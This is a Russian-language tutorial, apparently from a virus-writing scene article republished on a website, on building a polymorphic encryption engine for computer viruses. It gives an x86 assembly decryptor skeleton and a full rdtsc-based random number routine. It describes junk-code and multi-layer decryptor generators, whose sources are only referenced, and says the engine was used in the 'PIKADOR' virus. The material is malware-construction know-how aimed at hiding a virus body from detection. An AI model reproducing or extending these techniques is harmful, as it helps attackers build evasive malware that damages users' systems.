Итак, я решил написать статью на столь избитую и старую тему по той лишь причине,
что в статьях на данную тему описываются или только методики построения моторов,
или техники, которые желательно использовать в полиморфных генераторах. 
Существует несколько общих документаций вроде туториала Billy Belcebu, Lord'a
Julus'a и других, но они не затрагивают многие аспекты и примеры в них довольно
просты. Данная статья надеюсь послужит руководством к действию для тех, кто до
этого не писал полиморфных генераторов. Эта статья ориентирована на то, чтобы 
показать на примере построение полиморфного генератора.

Начнём с того, что нам нужно выбрать скелет декриптора. Но так как я очень
ленивый, то люблю всё упрощать,  а особенно использование своих движков. Поэтому
мы создадим наш полиморфный генератор не зависящим от точки входа и 
виртуального смещения.

Условимся, что reg1, reg2 - это 32 битные регистры.

Начнём построение скелета декриптора:

call $+5
pop reg1
add reg1,size_of_decryptor-4
mov reg2,reg1
add reg2,size_of_encrypted_code
decrypt: add reg1,4
xor/sub/add [reg1],decrypt_key
cmp reg1,reg2
jb decrypt

Как вы легко можете увидеть, данный полиморфный мотор будет
использовать 32-битное шифрование случайным алгоритмом (add/sub/xor).

После того, как мы определились со скелетом декриптора,
мы должны решить, что ещё нам будет необходимо при построении полиморфного генератора.

Нам понадобится:

  • Генератор случайных чисел
  • Генератор мусора

Начнём с генератора случайных чисел. Наш генератор будет ориентирован на
процессоры не меньше Pentium, так как будет использоваться инструкция
rdtsc. Данная инструкция возвращает значение счётчика тиков таймера. Для удобства его
использования выделим генератор случайных чисел в отдельный модуль.

Разберём пример генератора случайных чисел:

; [RANDOM IN RANGE GENERATOR V. 0.2] ;
; FOR MS WINDOWS ;
; ;
; BY SL0N ;
; MANUAL: ;
; ;
; RANGE OF RANDOM NUMBER -> EAX ;
; CALL BRANDOM32 ;
; ;
; RANDOM NUMBER IN RANGE -> EAX ;

brandom32: 
call delta2
delta2: pop ebp
sub ebp,offset delta2
; Эта подпрограмма 
; возвращает случайное число
; в диапазоне 0..eax-1

push edx ecx ; Сохраняем в стэке edx, ecx
xor edx,edx ; Обнуляем edx
imul eax,eax,100 ; Умножаем eax на 100
push eax ; и сохраняем eax в стэке
call random32 ; Вызываем подпрограмму
; генерации случайного числа
pop ecx ; Восстанавливаем значение
; из стэка в ecx
div ecx ; Делим eax на ecx
xchg eax,edx ; Помещаем остаток в eax
xor edx,edx ; Обнуляем edx
mov ecx,100 ; Помещаем в ecx - 100
div ecx ; Делим eax на ecx
pop ecx edx ; Восстанавливаем ecx, edx
ret ; Возврат из подпрограммы
;xxxxxxxxxxxxxxxxx
; RANDOM NUMBER GENERATOR SUBROUTINE ;
;----------------------
; [ IN ] ;
; ;
; NO INPUT IN SUBROTINE ;
;----------------------
; [ OUT ] ;
; ;
; RANDOM NUMBER -> EAX ;
;xxxxxxxxxxxxxxxxx
random32: 
; Генератор случайных чисел

push edx ecx ; Сохраняем в стэке edx, ecx
db 0fh,031h ; Инструкция rdtsc
rcl eax,2 ; Далее идут различные
add eax,12345678h ; математические
random_seed = dword ptr $-4 ; преобразования
adc eax,esp ; для получения, как
xor eax,ecx ; можно более не зависимого
xor [ebp+random_seed], eax ; числа
add eax,[esp-8] ;
rcl eax,1 ;
pop ecx edx ; Восстанавливаем ecx, edx
ret ; Возврат из подпрограммы
;----------------------

Ничего сложного в этом модуле, как вы можете видеть, нет.

Теперь перейдём к разработке генератора мусора. Потому как без него с таким
декриптором очень сложно достигнуть настоящего полиморфизма.

Что должен уметь генератор мусора? Он должен генерировать исполнимый код,
оставляя неизменными значащие регистры (используемые в декрипторе).
Исполнимый код должен быть как можно более разнообразным. В идеале получившийся
декриптор с мусором должен походить на обыкновенную программу с условными
переходами и множеством функций.

Рассмотрим генератора мусора на примере:

исходник

Как мы можем пронаблюдать, данный генератор мусора производит довольно-таки
разнообразный исполнимый код. Недоработаны, как я считаю,
переходы условные и безусловные, а так же подпрограммы. Но это не суть важно. 

Важно сейчас то, что мы уже можем построить полиморфный генератор по выбранному
нами скелету. Генератор случайных чисел будет использоваться для выбора регистров,
генерации длин мусора и самих мусорных инструкций.

Рассмотрим полиморфный генератор на примере:

исходник

В данном полиморфном генераторе использовалась техника множественных
декрипторов. Она подразумевает многократную зашифровку тела вируса и всех
предыдущих декрипторов. Количество декрипторов выбирается случайным образом, но
в рамках от 1..39. Перед и после каждой значащей инструкции декриптора идёт
серия мусорных инструкций случайной длины. Регистры в значащих инструкциях не
постоянны. Сами инструкции не мутируют (работы идут). 

Данный полиморфный генератор использовался в вирусе "PIKADOR" и неплохо себя
зарекомендовал.

И запомните - всё, что получится, нужно тестировать рьяно и многократно.

 

;----------------------
slon

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии